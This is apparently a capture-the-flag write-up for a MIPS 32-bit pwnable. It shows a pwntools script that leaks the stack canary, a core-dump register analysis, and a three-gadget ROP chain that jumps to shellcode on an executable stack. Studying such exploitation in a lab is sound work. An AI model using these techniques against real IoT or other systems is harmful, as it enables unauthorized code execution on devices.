Summary
MIPS little endian 32bits pwnable [499 points 3 solves]
1- Simple password check
2- Leak stack cookies
3- ROP 2 shellcode
Pwning
properly debugging MIPS can be a little hussle, the first answer here is a great resource to help you setup your env
https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-arm-mips-elf-with-qemu-toolchain
we don't need full mips image, just gdb-multiarch and mips libc and toolchains
A statically linked MIPS 32 little endian binary with stack canaries enabled and the emulator has ASLR enabled, typical enabled protections in an IOT device
$ file challenge
challenge: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=bf95ce124135f375fbe7d360678367cdccc05a6e, stripped
$ checksec ./challenge
Arch: mips-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
by looking at main function,
- the program reads 2 inputs username and password into same buffer, it can read more than buffer size
- prints username
- simple password check, rand without a seed, values will be always the same password is dumbasspassword
- if password is correct print 'ok' msg and main returns
- else print 'no' msg and exit()
since the program can read more than the buffer size, NX disabled, we need to
- leak stack canary first through username
- since strcmp stops at nullbyte, we enter correct password+nullbyte+payload
- payload should contain our ROP to jump to shellcode
so let's leak stack canary first, our buffer has size of 128bytes, stack canary is right after our buffer in stack, printf will stop at nullbyte, so to leak it we need to send our username 129bytes to overwrite that nullbyte from stack cookie and we leak the other 3 bytes
run the binary with
$ ./qemu-mipsel -g 12345 ./challenge
in another terminal we start gdb-multiarch and connect to it
$ gdb-multiarch ./challenge
gef➤ target remote localhost:12345
Remote debugging using localhost:12345
we enter 129 bytes, and when it prints the username with message asking for password we'll see the 3 bytes of canary leaked, we got the first part covered
if we repeat the same process with some pattern to know what registers we control, this is first part of the exploit
from pwn import *
context.update(arch="mips", bits=32, endian="little", os="linux")
p = process(["./qemu-mipsel","challenge"])
p.sendafter('username','A'*129)
canary= "\x00"+ p.recvuntil(' , En').replace(' , En','').replace(' \r\n'+'A'*129,'')
canary = p32(u32(canary))
print "[canary] "+(canary).encode("hex")
p.send('dumbasspasswordaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabd'+canary+'aabeaabfaabgaabhaabiaabjaab')
p.interactive()
running it
python sploit.py
[+] Starting local process './qemu-mipsel': pid 24510
[canary] 0051d848
[*] Switching to interactive mode
ter your your pass
OK!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[*] Got EOF while reading in interactive
and now examining the coredump
$gdb-multiarch challenge qemu_challenge_24510.core
Reading symbols from challenge...(no debugging symbols found)...done.
[New LWP 24510]
Core was generated by `F��{'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x66626160 in ?? ()
gef➤ registers
[*] Failed to read /proc/<PID>/maps, using GDB sections info: [Errno 2] No such file or directory: '/proc/24510/maps'
$zero: 0x00000000 → 0x00000000
$at : 0x00000001 → 0x00000001
$v0 : 0x00000000 → 0x00000000
$v1 : 0x2b377c00
$a0 : 0x2b377c00
$a1 : 0xffffffff
$a2 : 0x00000001 → 0x00000001
$a3 : 0x00000000 → 0x00000000
$t0 : 0xfefefeff
$t1 : 0x80808000
$t2 : 0x00490fac → 0x8d293ea9
$t3 : 0x79e2a9e3
$t4 : 0x41414141 ("AAAA"?)
$t5 : 0x41414141 ("AAAA"?)
$t6 : 0x41414141 ("AAAA"?)
$t7 : 0x41414141 ("AAAA"?)
$s0 : 0x00401020 → addiu sp, sp, -56
$s1 : 0x00000000 → 0x00000000
$s2 : 0x00000000 → 0x00000000
$s3 : 0x00000000 → 0x00000000
$s4 : 0x00000000 → 0x00000000
$s5 : 0x00000000 → 0x00000000
$s6 : 0x00000000 → 0x00000000
$s7 : 0x00000000 → 0x00000000
$t8 : 0x1010101
$t9 : 0x00420000 → 0xafbf002c (","?)
$k0 : 0x00000000 → 0x00000000
$k1 : 0x00000000 → 0x00000000
$s8 : 0x62616164 ("daab"?)
$pc : 0x62616164 ("daab"?)
$sp : 0x7daf7ff0 → 0x62616166 ("faab"?)
$hi : 0x00000025 → 0x00000025
$lo : 0x999999a3
$fir : no value
$ra : 0x62616165 ("eaab"?)
$gp : 0x4993a0
so we control s8, pc and ra registers, so we can hijack the program flow
now to find ROP gadgets i'll be using a mipsrop plugin for IDA from /dev/ttyS0, you can find documentation and download here
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/
mips architecture is different, the functions return is different from usual x86, there's no ret
instructions, to return we jump to an address from a register, so we need to control some registers first
so the strategy here is to, (note that there's multiple ways to exploit this)
- gadget1 to control some registers
- gadget2 to put a pointer to stack (our nopsled location) to a register
- gadget3 to jump to register we saved from gadget2
lets first pick gadget2 so we know which registers we want to control for gadget1
we'll load mipsrop plugin for IDA and runmipsrop.stackfinder()
i've went for gadget at address 0x00443748
.text:00443748 addiu $a2, $sp, 0x38 # '8'
.text:0044374C sw $zero, 0x1C($sp)
.text:00443750 move $a0, $s2
.text:00443754 sw $zero, 0x18($sp)
.text:00443758 sw $v0, 0x14($sp)
.text:0044375C move $t9, $s1
.text:00443760 jalr $t9
so we control flow is at this address, we will have address at $sp+0x38 stored in register $a2, so next gadget must return with a jump to $a2
and to go from here to gadget3 we need to control register $s1 from gadget1, now we know what we need to control in gadget1
so now back to gadget1, we need it to control $ra so we can jumo to gadget2 and to control s1 so gadget2 can jumo to gadget3
i searched using mipsrop for gadgets that load stack address into $ra register and jumps to it and it also has some control for $s1 mipsrop.find("lw $ra")
the gadget at 0x00465474 looks like perfect candidate
__libc_freeres_fn:00465474 lw $ra, 0x2C($sp)
__libc_freeres_fn:00465478 lw $s3, 0x28($sp)
__libc_freeres_fn:0046547C lw $s2, 0x24($sp)
__libc_freeres_fn:00465480 lw $s1, 0x20($sp)
__libc_freeres_fn:00465484 lw $s0, 0x1C($sp)
__libc_freeres_fn:00465488 jr $ra
now back to look for gadget3, which is a simple jump to $a2, so lets look for gadgets that move $a2 to $t9 mipsrop.find("move $t9")
there's plenty of useful gadgets here, i picked one at address 0x00420A04
.text:00420A04 move $t9, $a2
.text:00420A08 jr $t9
so now our payload should be like the following:
'dumbasspassword' + [nullbyte] +[112 bytes] + [canary] + [4 bytes] + [gadget1] + [0x1c bytes] + [gadget3] * 4 + [gadget2] + [nopsled] + [shellcode]
full exploit can be found here
https://github.com/rekter0/3kCTF2020/blob/master/babym1ps-sploit.py